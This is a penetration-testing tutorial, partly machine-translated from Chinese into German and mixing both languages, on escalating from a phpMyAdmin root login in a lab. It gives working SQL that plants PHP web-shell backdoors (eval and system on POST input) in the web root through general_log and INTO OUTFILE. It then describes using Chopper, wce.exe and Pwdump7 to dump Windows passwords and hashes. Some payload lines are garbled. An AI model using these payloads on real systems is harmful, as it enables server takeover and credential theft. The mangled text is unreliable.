Heim >Datenbank >phpMyAdmin >Dinge über die Eskalation von phpMyadmin-Berechtigungen
Die folgende Tutorial-Kolumne von phpmyadmin wird Ihnen die Dinge über die Eskalation von phpMyadmin-Berechtigungen vorstellen. Ich hoffe, dass sie Freunden, die es benötigen, hilfreich sein wird!
Einführung: Ich habe das Passwort des phpMyadmin-Kontos während des Penetrationstests erfahren. Wie kann ich die Berechtigungen erweitern? Lesen Sie weiter, heute werde ich Ihnen etwas über die Eskalation der phpMyadmin-Berechtigungen erzählen.
phpMyAdmin ist ein MySQL-Datenbankverwaltungstool, das auf PHP basiert und im Web-Base-Modus auf dem Website-Host strukturiert ist, sodass Administratoren die Webschnittstelle zur Verwaltung von MySQL-Datenbanken verwenden können.
目标: Windows Server 2003 Enterprise x64 Edition 192.168.17.137攻击机: window7 192.168.17.132Php:5.45Mysql: 5.5.53Apache: 2.4
Wir haben durch schwache Passwörter, Sprengungen, Verzeichnislecks usw. erfahren, dass das Kontopasswort von PhpMyadmin root ist. Als nächstes werden wir die Rechte über phpMyadmin so realitätsnah wie möglich eskalieren und über weitere Ideen sprechen.
Wie im Bild oben gezeigt, können wir die folgenden nützlichen Informationen erhalten.
phpMyadmin führt den folgenden Befehl aus:
SHOW VARIABLES LIKE „secure_file_priv“;结果如图所示:
从上图得知值为空,如果我们这时导入一句话,肯定会失败的,不信啊,那我们试试。
报错The MySQL server is running with the –secure-file-priv option so it cannot execute this statement,这是因为mysql对通过文件导入导出作了限制,默认不允许。默认value值为null,则为禁止,如果有文件夹目录,则只允许改目录下文件(测试子目录也不行)。我们思考一下看看能否设置其的路径为我们的默认网站路径,这样我们就可以导入一句话后门了。那我们试试吧。
从图得知这个变量是一个只读变量无法动态更改,那应该是只能从配置文件中更改了。到这里发现陷入了一个胡同,那常规方式不行,我们可以去使用一些骚思路,利用log日志文件插入一句话。
我们首先需要检测的是MySQL全局变量(general_log、general_log file)的值。
从图得知general_log默认是关闭的,log日志存放的位置是E:\phpStudy\PHPTutorial\MySQL\data\。
首先我们来理解一下开启general_log 的作用,开启它可以记录用户输入的每条命令,会把其保存在E:\phpstudy\PHPTutorial\MySQL\data\下的一个log文件中,其实就是我们常说的日志文件。好,我们的利用的思路是开启general_log之后把general_log_file的值修改为我们网站默认路径下一个自定义的php文件中,然后我们通过log日志进行写入一句话后门到上面去,然后再进一步利用。
具体命令是:
set global general_log = "ON";SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/infos.php';
Dann können wir sehen, dass sich die von uns generierte Pseudo-Tagebuchdatei infos.php im Stammpfad der Website befindet.
Dann müssen wir unsere Ein-Satz-Hintertür einfügen.
select ‘’;
Wir können versuchen, den Chopper zum Herstellen einer Verbindung zu verwenden, und die Verbindung ist erfolgreich.
Wir laden wce.exe hoch, um das Klartextpasswort zu erhalten. Mit viel Glück habe ich direkt den Klartext (ein Passwort gemischt aus 11 Buchstaben und Zahlen) erhalten. Wenn Sie den Klartext nicht direkt abrufen können, müssen Sie mit dem zweiten Schritt fortfahren, um den Hash-Wert abzurufen und ihn dann zu entschlüsseln.
Laden Sie Pwdump7.exe hoch, um den Hash-Wert zu erhalten, und speichern Sie ihn in der Datei „password.txt“. Um den Hash-Wert zu erhalten, können Sie ihn online unter http://www.objectif-securite.ch/en/ophcrack.php ausführen. Wenn dies fehlschlägt, importieren Sie die Rainbow-Tabelle mit Ophcrack und führen Sie sie aus.
Geben Sie direkt „netstat -an | find „3389“ oder „netstat -an“ im Chopper-Terminal ein.
Es wurde festgestellt, dass 3389 nicht geöffnet ist, aber 3390 ist geöffnet. Wir versuchen, eine Verbindung herzustellen. Ja, aber ich werde es hier nicht schreiben, weil es zu viel Inhalt gibt
a Konfigurieren Sie die Datei „my.ini“ (entspricht nicht dem Stammpfad der Website).
Öffnen Sie die MySQL-Konfigurationsdatei „my.ini“, legen Sie den Wert von „secure_file_priv“ fest und starten Sie MySQL neu.
secure_file_priv = „E:/phpStudy/PHPTutorial /MYSQL/“
尝试改变值,发现只是可读,不能写,那种情况无法写入我们的一句话,因为其限制了导出路径,无法把一句话写入之后导出到我们的网站根目录。
打开mysq的配置文件my.ini,对secure_file_priv的值进行设置,然后重启mysql。
secure_file_priv = ”E:/phpStudy/PHPTutorial/WWW/”
然后我们尝试插入一句话后门,成功插入。
二话不说菜刀连接。
当然一句话还可以这样插入。
CREATE TABLE `mysql`.`informationes` (`inform` TEXT NOT NULL);INSERT INTO `mysql`.`informationes` (`inform`) VALUES ('<?php @eval($_POST[pass]);?>');SELECT `inform` from `mysql`.`informationes` into outfile 'e:/phpStudy/PHPTutorial/WWW/infos.php';DROP table if exists `mysql`.`informationes`;(注意: c:/phpStudy/PHPTutorial/WWW/为网站的绝对路径)
select ‘\’;system($_POST[\'yumu\']);echo \’\’;?>’ into outfile ‘c:/phpStudy/PHPTutorial/WWW/test.php’;
Die Umgebung in diesem Artikel ist so nah wie möglich an der realen Umgebung, außer dass waf nicht verwendet wird. Es simuliert die reale Umgebung, damit jeder die Ideen analysieren und erklären kann. Ich hoffe, dass alle geerntet haben.
Das obige ist der detaillierte Inhalt vonDinge über die Eskalation von phpMyadmin-Berechtigungen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!